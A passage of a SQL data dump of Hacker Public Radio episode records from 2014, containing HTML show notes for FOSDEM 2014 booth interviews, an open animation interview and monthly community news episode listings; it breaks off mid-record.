(1453,'2014-02-26','HPR Coverage at FOSDEM 2014 Part 4',3979,'FOSDEM 2014 Report, part 4','<h1>HPR Coverage at FOSDEM 2014</h1>\n <p>The following are a series of interviews recorded at FOSDEM 2014.</p>\n <blockquote>FOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.</blockquote>\n <p>For more information see the website <a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>, where you can watch a recording of the many talks <a href=\"https://video.fosdem.org/2014/\">https://video.fosdem.org/2014/</a></p>\n <h2>Day 2 Part 2</h2>\n <h3>00:00:30 OpenEmbedded</h3>\n <p>We talk to Intel employee Paul Eggleton, who talked to us about OpenEmbedded and the yocto project.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0092160.jpg\" /><br /> Paul Eggleton and Apelete Seketeli at the OpenEmbedded booth</p>\n <blockquote>The Yocto Project is an open source collaboration project that provides templates, tools and methods to help you create custom Linux-based systems for embedded products regardless of the hardware architecture. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems</blockquote>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0093632.jpg\" /><br /> 00:02:48 ODROID with external display showing a waterfall display as described in the interview.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0100480.jpg\" /><br /> 00:03:25 The Galileo board as described in the interview.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0102528.jpg\" /><br /> 00:05:16 The Intel MinnowBoard as described in the interview.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0104640.jpg\" /><br /> 00:06:57 Industrial controller from a cable layer as described in the interview.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0105536.jpg\" /><br /> 00:06:57 Industrial controller buttons</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0109056.jpg\" /><br /> 00:07:40 Toshiba arm development board with a smaller lcd screen</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0106880.jpg\" /><br /> 00:08:04 OUYA console out of case</p>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://www.yoctoproject.org/\">https://www.yoctoproject.org/</a></li>\n  <li><a href=\"https://openembedded.org/wiki/Main_Page\">https://openembedded.org/wiki/Main_Page</a></li>\n  <li><a href=\"https://www.samsung.com/global/business/semiconductor/minisite/Exynos/platform_partners_platform.html\">https://www.samsung.com/global/business/semiconductor/minisite/Exynos/platform_partners_platform.html</a></li>\n  <li><a href=\"https://arduino.cc/en/ArduinoCertified/IntelGalileo\">https://arduino.cc/en/ArduinoCertified/IntelGalileo</a></li>\n  <li><a href=\"https://www.minnowboard.org/\">https://www.minnowboard.org/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Ouya\">https://en.wikipedia.org/wiki/Ouya</a></li>\n  <li><a href=\"https://www.minnowboard.org/\">https://www.minnowboard.org/</a></li>\n  <li><a href=\"https://beagleboard.org/products/beaglebone%20black\">https://beagleboard.org/products/beaglebone%20black</a></li>\n  <li><a href=\"https://www.intel.com\">https://www.intel.com</a></li>\n  <li><a href=\"https://beagleboard.org/Products/BeagleBone+Black\">https://beagleboard.org/Products/BeagleBone+Black</a></li>\n </ul>\n <h3>00:10:17 BSD</h3>\n <p>We chat to Daniel Seuffert about the various BSD\'s.</p>\n <p>About FreeBSD:</p>\n <blockquote>FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.</blockquote>\n <p>About OpenBSD:</p>\n <blockquote>The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system. Our efforts emphasize portability, standardization, correctness, proactive security and integrated cryptography. As an example of the effect OpenBSD has, the popular OpenSSH software comes from OpenBSD.</blockquote>\n <p>About NetBSD:</p>\n <blockquote>NetBSD is a free, fast, secure, and highly portable Unix-like Open Source operating system. It is available for a wide range of platforms, from large-scale servers and powerful desktop systems to handheld and embedded devices. Its clean design and advanced features make it excellent for use in both production and research environments, and the source code is freely available under a business-friendly license. NetBSD is developed and supported by a large and vivid international community. Many applications are readily available through pkgsrc, the NetBSD Packages Collection.</blockquote>\n <p>About PC-BSD®:</p>\n <blockquote>PC-BSD® is a user friendly desktop Operating System based on FreeBSD. Known widely for its stability and security in server environments, FreeBSD provides an excellent base on which to build a desktop operating system. PC-BSD uses a host of popular open source window managers and uses a custom-tailored application installer that puts popular applications in easy reach of users.</blockquote>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://www.freebsd.org/\">https://www.freebsd.org/</a></li>\n  <li><a href=\"https://www.openbsd.org/\">https://www.openbsd.org/</a></li>\n  <li><a href=\"https://www.netbsd.org/\">https://www.netbsd.org/</a></li>\n  <li><a href=\"https://www.pcbsd.org/\">https://www.pcbsd.org/</a></li>\n </ul>\n <h3>00:27:16 Olimex Ltd</h3>\n <p>Tsvetan Usunov was giving away small penguin shaped arduino computers for free. The snag, you had to solder them yourselves. On day 1 over a hundred boards were soldered by programmers and all worked.</p>\n <blockquote>Olimex Ltd is a leading provider for development tools and programmers for embedded market. The company has over 20 years’ experience in designing, prototyping and manufacturing printed circuit boards, sub-assemblies, and complete electronic products. We are established in 1991 in Plovdiv - the second largest city in Bulgaria.</blockquote>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0117760.jpg\" /><br /> Tux powered led strips</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0119296.jpg\" /><br /> Tux measuring the temprature</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0120768.jpg\" /><br /> Tux led strips overview</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0129536.jpg\" /><br /> A10-OLinuXino, the small pc refered to in the openstreetmap interview</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0122176.jpg\" /><br /> Panel with keyboard</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0123904.jpg\" /><br /> A13-OLinuXino is a small server...</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0125760.jpg\" /><br /> .. with hard disk</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0127744.jpg\" /><br /> .. on it\'s side</p>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://www.olimex.com/\">https://www.olimex.com/</a></li>\n  <li><a href=\"https://www.olimex.com/Products/OLinuXino/A10/A10-OLinuXino-LIME/open-source-hardware\">https://www.olimex.com/Products/OLinuXino/A10/A10-OLinuXino-LIME/open-source-hardware</a></li>\n  <li><a href=\"https://www.arduino.cc/\">https://www.arduino.cc/</a></li>\n  <li><a href=\"https://plus.google.com/102255887343137829901/posts\">https://plus.google.com/102255887343137829901/posts</a></li>\n  <li><a href=\"https://www.olimex.com/Products/OLinuXino/A13/A13-OLinuXino/open-source-hardware\">https://www.olimex.com/Products/OLinuXino/A13/A13-OLinuXino/open-source-hardware</a></li>\n </ul>\n <h3>00:36:09 Pandora</h3>\n <p>Next a chat with an Evildragon aka Michael Mrozek who talks to us about the OpenPandora device, and what\'s coming next.</p>\n <blockquote>The Pandora is a handheld game console designed to take advantage of existing open source software and to be a target for homebrew development. The first copy was released in May 2008 and others in May 2010, and is developed by OpenPandora, which is made up of former distributors and community members of the GP32 and GP2X handhelds. When announcing the system, the designers of Pandora stated that it would be more powerful than any handheld video game console that had yet existed. It includes several features that no handheld game consoles have previously had, making it a cross between a handheld game console and a subnotebook.</blockquote>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://boards.openpandora.org/page/homepage.html\">https://boards.openpandora.org/page/homepage.html</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Pandora_(console)\">https://en.wikipedia.org/wiki/Pandora_(console)</a></li>\n  <li><a href=\"https://openphoenux.org/\">https://openphoenux.org/</a></li>\n  <li><a href=\"https://projects.goldelico.com/p/gta04-main/\">https://projects.goldelico.com/p/gta04-main/</a></li>\n </ul>\n <h3>00:44:40 Python</h3>\n <p>We stop by the Python booth and find out how to tame the beast.</p>\n <blockquote>Python is a programming language that lets you work more quickly and integrate your systems more effectively. You can learn to use Python and see almost immediate gains in productivity and lower maintenance costs.</blockquote>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://python.org/\">https://python.org/</a></li>\n  <li><a href=\"https://learnpythonthehardway.org/\">https://learnpythonthehardway.org/</a></li>\n </ul>\n <h3>00:49:55 Jenkins</h3>\n <p>We talk to Kohsuke Kawaguchi the lead developer of Jenkins.</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0131968.jpg\" /><br /> KK and the Jenkins mascot</p>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0133120.jpg\" /><br /> The Jenkins mascot</p>\n <p>From Wikipedia:</p>\n <blockquote>Jenkins is an open source continuous integration tool written in Java. The project was forked from Hudson after a dispute with Oracle. Jenkins provides continuous integration services for software development. It is a server-based system running in a servlet container such as Apache Tomcat. It supports SCM tools including AccuRev, CVS, Subversion, Git, Mercurial, Perforce, Clearcase and RTC, and can execute Apache Ant and Apache Maven based projects as well as arbitrary shell scripts and Windows batch commands. The primary developer of Jenkins is Kohsuke Kawaguchi. Released under the MIT License, Jenkins is free software.</blockquote>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://jenkins-ci.org/\">https://jenkins-ci.org/</a></li>\n  <li><a href=\"https://www.cloudbees.com/\">https://www.cloudbees.com/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Jenkins_(software)\">https://en.wikipedia.org/wiki/Jenkins_(software)</a></li>\n </ul>\n <h3>00:56:14 Puppet</h3>\n <p>Over at the Puppet booth we talk to Eric Sorenson from PuppetLabs and Bert Van Vreckem from the Belgium Puppet user group.</p>\n <blockquote>Puppet Open Source is a flexible, customizable framework available under the Apache 2.0 license designed to help system administrators automate the many repetitive tasks they regularly perform. As a declarative, model-based approach to IT automation, it lets you define the desired state - or the “what” - of your infrastructure using the Puppet configuration language. Once these configurations are deployed, Puppet automatically installs the necessary packages and starts the related services, and then regularly enforces the desired state. In automating the mundane, Puppet frees you to work on more challenging projects with higher business impact. Puppet Open Source is the underlying technology for Puppet Enterprise and runs on all major Linux distributions, major Unix platforms like Solaris, HP-UX, and AIX, and Microsoft Windows.</blockquote>\n <h4>Links</h4>\n <ul>\n  <li><a href=\"https://puppetlabs.com/\">https://puppetlabs.com/</a></li>\n  <li><a href=\"https://projects.puppetlabs.com/users/693\">https://projects.puppetlabs.com/users/693</a></li>\n  <li><a href=\"https://be.linkedin.com/in/bertvanvreckem\">https://be.linkedin.com/in/bertvanvreckem</a></li>\n  <li><a href=\"https://www.meetup.com/Belgian-Puppet-User-Group/\">https://www.meetup.com/Belgian-Puppet-User-Group/</a></li>\n </ul>\n <h2>Music</h2><pre>\nTrack name                               : Free Software Song\nPerformer                                : Fenster\nRecorded date                            : 2002\nCopyright                                : Copyright (C) 2002, \nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \nprovided this notice is preserved. \nPerformers: \nPaul Robinson (vocals), \nRoman Kravec (guitar), \nEd D\'Angelo (bass), \nDave Newman (drums), \nBrian Yarbrough (trumpet), \nTony Moore (trumpet). \nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\n</pre>\n',30,78,1,'CC-BY-SA','FOSDEM,2014,interviews',0,1362,1),
(1454,'2014-02-27','HPR Coverage at FOSDEM 2014 Part 5',6030,'FOSDEM 2014 Report, part 5','<h1>HPR Coverage at FOSDEM 2014</h1>\r\n<p>\r\nThe following are a series of interviews recorded at FOSDEM 2014.\r\n</p>\r\n<blockquote>\r\nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\r\n</blockquote>\r\n<p>\r\nFor more information see the website <a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>, where you can watch a recording of the many talks <a href=\"https://video.fosdem.org/2014/\">https://video.fosdem.org/2014/</a>\r\n</p>\r\n<h2>Day 2 Part 3</h2>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0080576.jpg\" alt=\"\" /><br />Free as in BEER</p>\r\n\r\n<h3>00:00:28 Perl Community</h3>\r\n<p>\r\nI chat with Wendy G.A. van Dijk who, while not selling cute camels, is promoting the Perl Community.\r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0134400.jpg\" alt=\"\" /><br />perl nlpw::2014 Dutch Perl Workshop 25 April Utrecht</p>\r\n<blockquote>\r\nPowerful, stable, mature, portable. Perl 5 is a highly capable, feature-rich programming language with over 26 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects.\r\n</blockquote>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0144064.jpg\" alt=\"\" /><br />A big camel</p>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.perl.org/\">https://www.perl.org/</a></li>\r\n<li>Perl-conferences YAPC::Europe<br />\r\n<a href=\"https://act.yapc.eu/ye2014/user/4756\">https://act.yapc.eu/ye2014/user/4756</a></li>\r\n</ul>\r\n\r\n<h3>00:07:42 RedHat</h3>\r\n<p>\r\nFredric Hornain talks to us about G6 Containers, AS7, Qpid and much more.\r\n</p>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.redhat.com/\">https://www.redhat.com/</a></li>\r\n</ul>\r\n\r\n<h3>00:12:19 OpenOffice</h3>\r\n<p>\r\nOliver-Rainer Wittmann from IBM takes some time to chat with us about OpenOffice.\r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0135808.jpg\" alt=\"\" /><br />Swag at the OpenOffice booth</p>\r\n<blockquote>\r\nApache OpenOffice is the leading open-source office software suite for word processing, spreadsheets, presentations, graphics, databases and more. It is available in many languages and works on all common computers. It stores all your data in an international open standard format and can also read and write files from other common office software packages. It can be downloaded and used completely free of charge for any purpose.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.openoffice.org/\">https://www.openoffice.org/</a></li>\r\n</ul>\r\n\r\n<h3>00:24:07 Elasticsearch</h3>\r\n<p>\r\nHonza Kral takes some time out to chat with us about the Elasticsearch ELK Stack. \r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0139456.jpg\" alt=\"\" /><br />Honza Kral from Elasticsearch</p>\r\n<blockquote>\r\nBy combining the massively popular Elasticsearch, Logstash and Kibana we have created an end-to-end stack that delivers actionable insights in real-time from almost any type of structured and unstructured data source. Built and supported by the engineers behind each of these open source products, the Elasticsearch ELK stack makes searching and analyzing data easier than ever before.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.elasticsearch.org/\">https://www.elasticsearch.org/</a></li>\r\n<li><a href=\"https://www.elasticsearch.org/overview/logstash\">https://www.elasticsearch.org/overview/logstash</a></li>\r\n<li><a href=\"https://www.elasticsearch.org/overview/kibana\">https://www.elasticsearch.org/overview/kibana</a></li>\r\n</ul>\r\n\r\n<h3>00:33:25 LibreOffice</h3>\r\n<p>\r\nWe have a great conversation with Cor Nouws, who proves that you can earn a living supporting Free Software.\r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0142336.jpg\" alt=\"\" /><br />The hard working Libreoffice booth team</p>\r\n<blockquote>\r\nLibreOffice is the most widely used free open source office software. It is a community-driven project of The Document Foundation. LibreOffice is developed by professionals and by users, just like you, who believe in the principles of free software and in sharing their work with the world in a non-restrictive way. At the core of these principles is the promise of better-quality, highly-reliable and secure software that gives you greater flexibility at zero cost and no end-user lock-in. LibreOffice works natively with the Open Document Format, but also brings you support for by far the most file types for office-documents. It comes with support for over 80 languages and with a whole amount of other unique features to work with your texts, spreadsheets, presentations, drawings and data.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/\">https://www.libreoffice.org/</a></li>\r\n<li><a href=\"https://www.documentfoundation.org/\">https://www.documentfoundation.org/</a></li>\r\n</ul>\r\n\r\n<h3>00:47:34 guifi.net</h3>\r\n<p>\r\nRogier Baig talks to us about the roll out of peer to peer networks.\r\n</p>\r\n<blockquote>\r\nguifi.net is a telecommunications network, is open, free and neutral because is built through a peer to peer agreement where everyone can join the network by providing his connection, and therefore, extending the network and gaining connectivity to all. guifi.net is owned by all who join. Is a collaborative project horizontally managed composed by individuals, organizations, enterprises, education institutions and universities and government offices. Is open so everyone can participate in same terms and conditions within the scope of the Wireless Commons.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://guifi.net/\">https://guifi.net/</a></li>\r\n</ul>\r\n\r\n<h3>00:58:01 Bareos</h3>\r\n<p>\r\nJ&#246;rg Steffens explains that bareos is not \"bare os\" but rather Bareos - Backup Archiving REcovery Open Sourced. \r\n</p>\r\n<blockquote>\r\nBareos is a 100% open source fork of the backup project from bacula.org. The fork is in development since late 2010, it has a lot of new features. The source has been published on github, licensed AGPLv3.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.bareos.org/en/\">https://www.bareos.org/en/</a></li>\r\n</ul>\r\n\r\n<h3>01:05:30 XMPP realtime lounge</h3>\r\n<p>\r\nLights, Sensors, Switches, Dimmers and of course the obligatory RaspberryPi and a bread board. So what is this you ask ? Well Ralph Meijer, Edwin Mons and Joachim Lindborg explain the \"Internet of things\" and how they want to use the XMPP protocol to \"chat\" with your devices. The plan is simple: set-up each device so it can talk to XMPP, then you can use Jabber or any other XMPP client to talk to them.\r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0151616.jpg\" alt=\"\" /><br />The lads from the XMPP realtime lounge</p>\r\n<blockquote>\r\nThe Extensible Messaging and Presence Protocol (XMPP) is an open technology for real-time communication, which powers a wide range of applications including instant messaging, presence, multi-party chat, voice and video calls, collaboration, lightweight middleware, content syndication, and generalized routing of XML data. The technology pages provide more information about the various XMPP &#8220;building blocks&#8221;. Several books about Jabber/XMPP technologies are available, as well.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://xmpp.org/\">https://xmpp.org/</a></li>\r\n<li><a href=\"https://iea.sust.se/\">https://iea.sust.se/</a></li>\r\n<li><a href=\"https://fosdem.org/2014/schedule/event/deviot07/\">https://fosdem.org/2014/schedule/event/deviot07/</a></li>\r\n<li><a href=\"https://wiki.xmpp.org/web/Tech_pages/IoT_systems\">https://wiki.xmpp.org/web/Tech_pages/IoT_systems</a></li>\r\n</ul>\r\n\r\n<h3>01:24:09 Jitsi</h3>\r\n<p>\r\nWe have a chat with Emil Ivov, the project lead of Jitsi.\r\n</p>\r\n<blockquote>\r\nJitsi (formerly SIP Communicator) is an audio/video and chat communicator that supports protocols such as SIP, XMPP/Jabber, AIM/ICQ, Windows Live, Yahoo! and many other useful features. Jitsi is Open Source / Free Software, and is available under the terms of the LGPL.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://jitsi.org/\">https://jitsi.org/</a></li>\r\n<li><a href=\"https://video.fosdem.org/2014/H2215_Ferrer/Saturday/Jitsi_Videobridge_and_WebRTC.webm\">https://video.fosdem.org/2014/H2215_Ferrer/Saturday/Jitsi_Videobridge_and_WebRTC.webm</a></li>\r\n</ul>\r\n\r\n<h3>01:31:09 FOSDEM</h3>\r\n<p>\r\nTo wrap up the show I managed to track down Jan-Frederik Martens from the FOSDEM team.\r\n</p>\r\n<blockquote>\r\n\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://fosdem.org\">https://fosdem.org</a></li>\r\n</ul>\r\n\r\n<h2>01:36:36 Music - Entire Song</h2>\r\n<pre>\r\nTrack name                               : Free Software Song\r\nPerformer                                : Fenster\r\nRecorded date                            : 2002\r\nCopyright                                : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','FOSDEM,2014,interviews',0,1364,1),
(1458,'2014-03-05','Free Culture and Open Animation',2550,'fscons, interview, anime, creative commons, free culture, animation','<p>This interview with Julia Velkova and Konstantin Dimitriev will shed some light on free culture, open animation, Synfig Studio and the Russian anim&#233; being developed by the Morevna Project. Today, on Hacker Public Radio.</p>\n<p><em>\"Support Open Animation projects! Because they cary a lot of potential for inovation.\"</em><br /> -- Julia</p>\n<h3>FSCONS 2012: \"Open animation projects: state of the art, problems and perspectives\"</h3>\n<p>We all know of the Blender Projects, like Elephants Dream, Big Buck Bunny and Sintel, but do you know of any more? Creating an animated movie is hard. Many enthusiasts start projects up that soon thereafter unfortunately die off.</p>\n<p>The state of this area of interest is what Julia Velkova has concentrated her research on. At FSCONS 2012 she gave the first part of a presentation, painting a picture of the state of matters, then followed by open animator Konstantin Dimitriev who introduced both the Morevna Project and the free and open source tool Synfig Studio.</p>\n<p>At this presentation Konstantin showed the premiere trailer for his anim&#233; movie \"The Beautiful Queen Marya Morevna\", a modernized version of a traditional Russian tale. Both the trailer and Julia and Konstantins presentations are available on YouTube.</p>\n<p>Konstantin has used indiegogo to crowdfund a full time developer for Synfig Studio. He wrote: \"I am mentoring a full-time developer Ivan Mahonin, who is working on Synfig code. We have funded his work in previous months by running similar fundraising campaigns for October, November, December, January and February.\" So go help them with the rest of 2014 as well!</p>\n<p>Go help the Morevna Project and Synfig Studio, follow both Julia and Konstantin on Twitter to get updates on this very interesting part of the free and open community that I suspect we sometimes might forget.</p>\n<h3>Stuff referenced in the episode</h3>\n<ul>\n<li>Julia Velkova, Twitter: <a href=\"https://twitter.com/jvelkova\">@JVelkova</a></li>\n<li>Konstantin Dimitriev, Twitter: <a href=\"https://twitter.com/k_dmitriev\">@K_Dimitriev</a></li>\n<li>Slideshare - \"Open animation film projects. State of the art, problems and perspectives\" <a href=\"https://www.slideshare.net/JuliaVelkova/open-animation-film-projects-state-of-the-art-problems-and-perspectives\">https://www.slideshare.net/JuliaVelkova/open-animation-film-projects-state-of-the-art-problems-and-perspectives</a></li>\n<li>\"Julia Velkova &amp; Konstantin Dmitriev: Open animation projects\": <a href=\"https://youtu.be/yNGov5v6jpM\">https://youtu.be/yNGov5v6jpM</a></li>\n<li>\"The Beautiful Queen Marya Morevna: Demo [HD version]\": <a href=\"https://youtu.be/PThy9_RZQ8c\">https://youtu.be/PThy9_RZQ8c</a></li>\n<li>The Morevna Project: <a href=\"https://morevnaproject.org/\">https://morevnaproject.org/</a></li>\n<li>Synfig Studio: <a href=\"https://www.synfig.org/cms/\">https://www.synfig.org/cms/</a></li>\n<li>\"ILoveSketch\": <a href=\"https://www.dgp.toronto.edu/~shbae/ilovesketch.htm\">https://www.dgp.toronto.edu/~shbae/ilovesketch.htm</a></li>\n<li>\"Sita Sings the Blues\": <a href=\"https://www.sitasingstheblues.com/\">https://www.sitasingstheblues.com/</a></li>\n<li>\"Set YOUR priorities for Synfig development in March 2014\": <a href=\"https://www.indiegogo.com/projects/set-your-priorities-for-synfig-development-in-march-2014\">https://www.indiegogo.com/projects/set-your-priorities-for-synfig-development-in-march-2014</a></li></ul>\n<h3>How to reach me</h3>\n<p>You should follow me and subscribe to All In IT Radio:</p>\n<ul>\n<li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n<li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n<li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n<li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li></ul>\n',192,78,1,'CC-BY-SA','FSCONS',0,1440,1),
(1456,'2014-03-03','HPR Community News for January 2014',3190,'HPR Community News for January 2014','A monthly look at what has been going on in the HPR community. This is on the Saturday before the first Monday of the month.\n<h2>New hosts</h2>\n<p>Welcome to our new hosts:<br />\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\">mirwi</a>, \n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=272\">cyan</a>, \n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\">ToeJet</a>, \n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=274\">J. A. Mathis</a>, and \n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=275\">Bill_MI.</a></p>\n<table><thead>\n<tr><th>id</th><th>date</th><th>title</th><th>host</th></tr></thead><tbody>\n<tr><td>1413</td><td>ohmroep hpr live 3, 01-08-2013, (Power)DNS</td><td>Nido Media</td></tr>\n<tr><td>1414</td><td>ohmroep hpr live 4, 31-06-2013, operating lights at Observe Hack Make</td><td>Nido Media</td></tr>\n<tr><td>1415</td><td>18 - LibreOffice Writer Working with Page Styles</td><td>Ahuka</td></tr>\n<tr><td>1416</td><td>HPR New Year Show Part 1 2013-12-31T10:00:00Z to 2013-12-31T16:00:00Z</td><td>Various Hosts</td></tr>\n<tr><td>1417</td><td>HPR New Year Show Part 2 2013-12-31T16:00:00Z to 2013-12-31T21:00:00Z</td><td>Various Hosts</td></tr>\n<tr><td>1418</td><td>HPR New Year Show Part 3 2013-12-31T22:00:00Z to 2014-01-01T04:00:00Z</td><td>Various Hosts</td></tr>\n<tr><td>1419</td><td>HPR New Year Show Part 4 2014-01-01T04:00:00Z to 2014-01-01T10:00:00Z</td><td>Various Hosts</td></tr>\n<tr><td>1420</td><td>HPR New Year Show Part 5 2014-01-01T10:00:00Z to 2014-01-01T12:00:00Z</td><td>Various Hosts</td></tr>\n<tr><td>1421</td><td>Statistics and Polling</td><td>Ahuka</td></tr>\n<tr><td>1422</td><td>Setting up and using SSH and SOCKS</td><td>Curtis Adkins (CPrompt^)</td></tr>\n<tr><td>1423</td><td>Monty - The man behind your databases</td><td>Seetee</td></tr>\n<tr><td>1424</td><td>ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the Netherlands</td><td>Nido Media</td></tr>\n<tr><td>1425</td><td>Ahuka 20 LibreOffice Writer FramesIntroduction and the Type Tab</td><td>Ahuka</td></tr>\n<tr><td>1426</td><td>A Visit to Reglue</td><td>David Whitman</td></tr>\n<tr><td>1427</td><td>Decoding HPR1216 the easy way and a bit more</td><td>mirwi</td></tr>\n<tr><td>1428</td><td>Coffee Stain Studios and the Sanctum games</td><td>Seetee</td></tr>\n<tr><td>1429</td><td>Debian sources.list</td><td>Honkeymagoo</td></tr>\n<tr><td>1430</td><td>thebestofyoutube.com download script</td><td>Ken Fallon</td></tr>\n<tr><td>1431</td><td>Talking Twenty Fourteen</td><td>NYbill</td></tr>\n<tr><td>1432</td><td>Fahrenheit 212</td><td>cyan</td></tr>\n<tr><td>1433</td><td>Ubuntu Quickly Ebook Template</td><td>Mike Hingley</td></tr>\n<tr><td>1434</td><td>Why I made an account free android</td><td>ToeJet</td></tr>\n<tr><td>1435</td><td>21 - LibreOffice Writer Frame Properties Completed</td><td>Ahuka</td></tr>\n</tbody></table>\n',159,47,1,'CC-BY-SA','Community News',0,1360,1),
(1611,'2014-10-06','HPR Community News for September 2014',3506,'Dave is at OggCamp, Ahuka and Ken struggle through the news.','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br />\r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=284\">Steve Smethurst</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\">2BFrank</a>, \r\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\">goPhir</a>.\r\n</p>\r\n\r\n<h2>Last Month\'s Shows</h2>\r\n<table>\r\n    <thead>\r\n	<tr>\r\n	<th align=\"left\">Id</th>\r\n	<th align=\"left\">Date</th>\r\n	<th align=\"left\">Title</th>\r\n	<th align=\"left\">Host</th>\r\n	</tr>\r\n    </thead>\r\n    <tbody>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1586</strong></td>\r\n	<td align=\"left\">2014-09-01</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1586\">HPR Community News for August 2014</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1587</strong></td>\r\n	<td align=\"left\">2014-09-02</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1587\">Beginner\'s guide to the night sky 3 - A wee dot on a dark sky</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1588</strong></td>\r\n	<td align=\"left\">2014-09-03</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1588\">HPR AudioBookClub-09-Down And Out In The Magic Kingdom</a></td>\r\n	<td align=\"left\"><a 